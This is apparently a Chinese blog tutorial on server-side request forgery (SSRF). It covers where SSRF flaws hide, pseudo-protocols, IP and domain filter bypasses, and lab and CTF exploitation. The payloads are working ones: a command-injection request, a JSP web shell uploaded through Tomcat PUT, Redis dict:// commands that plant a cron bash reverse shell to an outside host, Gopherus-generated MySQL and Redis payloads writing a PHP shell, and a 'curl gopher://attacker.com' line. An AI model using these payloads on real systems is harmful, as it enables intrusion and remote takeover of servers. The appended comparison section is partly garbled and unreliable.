Web攻防-SSRF服务端伪造&伪协议利玩法&域名及IP绕过&无回显利用&挖掘点

知识点:
1、WEB攻防-SSRF利用绕过-伪协议&IP及域名
2、WEB攻防-SSRF挖掘思路-功能逻辑

在这里插入图片描述
在这里插入图片描述

SSRF漏洞原理
服务器端请求伪造,也称为SSRF(Server-Side Request Forgery),是因为前端用户可以输入任意URL到后端服务器,而且服务器也没有对其URL进行严格的过滤和校验,导致攻击者可以构造一些恶意的URL让服务器去访问执行。
*主要安全影响:
-读取服务器本地文件
-探测内网存活主机和开放端口
-攻击其他内网服务器及服务

SSRF漏洞挖掘
黑盒探针:
-业务功能点
1.社交分享功能:获取超链接的标题等内容进行显示
2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:给网址翻译对应网页的内容
4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
8.数据库内置功能:数据库的比如mongodb的copyDatabase函数
9.邮件系统:比如接收邮件服务器地址
10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞
 
-URL关键参数
share
wap
url
link
src
source
target
u
display
sourceURl
imageURL
domain
 
白盒分析:见代码审计(文件读取,加载,数据操作类的函数)

SSRF伪协议利用
http://  Web常见访问,如http://127.0.0.1
file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
 
gopher:// 分布式文档传递服务,可使用gopherus生成payload
由于有部分协议http这类不支持,可以gopher来进行通讯(mysql,redis等)
应用:漏洞利用 或 信息收集 通讯相关服务的时候 工具:Gopherus
 
SSRF绕过方式
-限制为http://www.xxx.com 域名
采用http基本身份认证的方式绕过,即@
http://www.xxx.com@www.xxyy.com
 
-限制请求IP不为内网地址
当不允许ip为内网地址时:
(1)采取短网址绕过
(2)采取域名解析
(3)采取进制转换
(4)采取3XX重定向
 
SSRF漏洞防御
1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。
2,统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。
4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。

一、演示案例-WEB攻防-SSRF利用绕过-伪协议&IP及域名

有回显-SSRF

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

无回显-SSRF

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
或者可以自己起一个网站进行监听
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

SSRF核心利用-伪协议

靶场:https://github.com/sqlsec/ssrf-vuls

1、环境准备

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、信息探针

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、代码注入-GET-http://伪协议

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4、命令执行-POST-gopher://伪协议

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

POST / HTTP/1.1
Host: 172.150.23.24
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
Origin: http://172.150.23.24
Connection: close
Referer: http://172.150.23.24/
Cookie: timezone=8
Upgrade-Insecure-Requests: 1
 
ip=127.0.0.1%3Bcat+%2Fflag

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

5、Tomcat漏洞-gopher://伪协议

在这里插入图片描述

PUT /1.jsp/ HTTP/1.1
Host: 172.150.23.26:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 460
 
<%
    String command = request.getParameter("cmd");
    if(command != null)
    {
        java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1)
        {
            out.println(new String(b));
        }
        out.print("</pre>");
    } else {
        out.print("format: xxx.jsp?cmd=Command");
    }
%>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

6、Redis-未授权-dict://伪协议

在这里插入图片描述
在这里插入图片描述
清空 key

dict://172.150.23.27:6379/flushall

设置要操作的路径为定时任务目录

dict://172.150.23.27:6379/config set dir /var/spool/cron/

在这里插入图片描述
在定时任务目录下创建 root 的定时任务文件

dict://172.150.23.27:6379/config set dbfilename root

在这里插入图片描述
写入 Bash 反弹 shell 的 payload

dict://172.150.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333 0>%261\n"

在这里插入图片描述
保存上述操作

dict://172.150.23.27:6379/save

在这里插入图片描述
等待一会后,VPS上就会弹回一个shell

7、MYSQL-无密码-gopher://伪协议

在这里插入图片描述
在这里插入图片描述
项目:https://github.com/tarunkant/Gopherus
在这里插入图片描述

python2 gopherus.py --exploit mysql

在这里插入图片描述

root
show variables like '%plugin%'

在这里插入图片描述
后续再URL编码一次
在这里插入图片描述

在这里插入图片描述

SSRF过滤绕过-CTFSHOW 白盒

1、无过滤直接获取

url=http://127.0.0.1/flag.php

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2-3、IP地址进制绕过

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
十六进制(需要添加上0x)
0x的目的是为了表示后面的数是十六进制,在编程里面一般都要加入,用来区别十进制数

url=http://0x7F.0.0.1/flag.php

在这里插入图片描述
八进制

url=http://0177.0.0.1/flag.php

10 进制全部转换

 url=http://2130706433/flag.php

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
16 进制全部转换,还是上面那个网站转换记得前缀0x

url=http://0x7F000001/flag.php
还有一种特殊的省略模式
  127.0.0.1写成127.1
用CIDR绕过localhost
  url=http://127.127.127.127/flag.php
还有很多方式
  url=http://0/flag.php
  url=http://0.0.0.0/flag.php

4、域名解析IP绕过

test.xiaodi8.com -> 127.0.0.1

在这里插入图片描述
在这里插入图片描述

url=http://test.xiaodi8.com/flag.php

在这里插入图片描述

5、长度限制IP绕过

url=http://127.1/flag.php

在这里插入图片描述

6、长度限制IP绕过

url=http://0/flag.php

在这里插入图片描述

7、利用重定向解析绕过

<?php
header("Location:http://127.0.0.1/flag.php"); 
其作用是:当执行该脚本时,会直接跳转到对应的网址,即Location: 后面的网址。
url=http://47.94.236.117/xx.php

在这里插入图片描述

8、匹配且不影响写法解析

url=http://ctf.@127.0.0.1/flag.php#show

在这里插入图片描述
在这里插入图片描述

9-10、利用gopher协议打服务

mysql无密码
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
项目工具: https://github.com/tarunkant/Gopherus
在这里插入图片描述
在这里插入图片描述

python.exe gopherus.py --exploit mysql

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
redis未授权

python.exe gopherus.py --exploit redis 

在这里插入图片描述
然后填入绝对路径,这里刚好是默认的,回车就好
在这里插入图片描述
然后填写要写入的内容,我这里写的一句话木马
在这里插入图片描述
生成好了,如果执行成功他会再目录下生成shell.php这个文件
在这里插入图片描述
现在这个语句还不能马上拿去用,需要做一下处理gopher://127.0.0.1:6379/_这部分不用变,后面的复制,再拿去进行一次url编码,然后拼接回gopher://127.0.0.1:6379/_后面

然后传参给url参数,回车
在这里插入图片描述
shell写入成功
在这里插入图片描述

二、演示案例-WEB攻防-SSRF挖掘思路-功能逻辑

视频解析

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

格式转换

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

<iframe src="http://6p5vvu.dnslog.cn">
<iframe src="6p5vvu.dnslog.cn">
<iframe>标签是干嘛的?

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

### SSRF无回显与全回显的区别及利用方式 #### 一、SSRF无回显的特及其利用方式 SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种常见的安全漏洞,允许攻击者通过应用程序发送恶意构造的请求到内部或外部目标。对于无回显的情况: - **定义** 无回显意味着攻击者的请求不会直接返回任何响应数据给客户端。这种类型的SSRF通常依赖于间接反馈机制来确认其效果[^4]。 - **特** - 不会显示具体的错误消息或者详细的页面内容。 - 可能仅提供简单的状态码(如200 OK),甚至没有任何明确的结果指示。 - **利用方式** - 使用DNS记录监控技术检测是否有来自受害系统的查询行为。例如,可以通过设置一个特殊的子域名指向自己的日志收集器,并观察该名称是否被解析过。 - 利用`gopher`协议或其他类似的伪协议实现更复杂的操作,比如读取文件系统中的敏感信息或将命令注入到后台进程中[^3]。 ```bash curl &#39;gopher://attacker.com/...&#39; ``` #### 二、SSRF全回显的特及其利用方式 相比之下,全回显提供了更为丰富的交互体验: - **定义** 当发生全回显时,服务器不仅完成了指定的操作还会把完整的应答包转发回来供用户查看。这使得分析过程更加直观简单[^2]。 - **特** - 返回的数据量较大,可能包括但不限于HTML源代码、API接口调用结果以及各种元数据标签等。 - 更容易判断是否存在特定条件下的异常状况,便于调试和验证假设成立与否。 - **利用方式** - 获取目标网络架构内的隐藏服务地址列表,进而寻找潜在的安全隐患- 测试跨域资源共享策略(CORS),尝试绕过同源限制访问受限资源。 ```javascript fetch(&#39;http://internal-service/api/data&#39;) .then(response =&gt; response.json()) .then(data =&gt; console.log(data)); ``` - 枚举内网IP范围并扫描开放端口情况,绘制出一幅清晰的地图用于后续渗透测试活动开展。 #### 总结对比表 | 特性 | 无回显 | 全回显 | |--------------|---------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------| | 数据可见度 | 非常低;需借助第三方工具辅助判定 | 较高;可以直接看到大部分原始回应 | | 复杂程度 | 中等到高等次 | 相对较低 | | 常见应用场景 | DNS预览、基于时间延迟猜测数据库版本号 | 文件下载上传界面抓取、配置管理平台参数泄露 |
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

SuperherRo

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值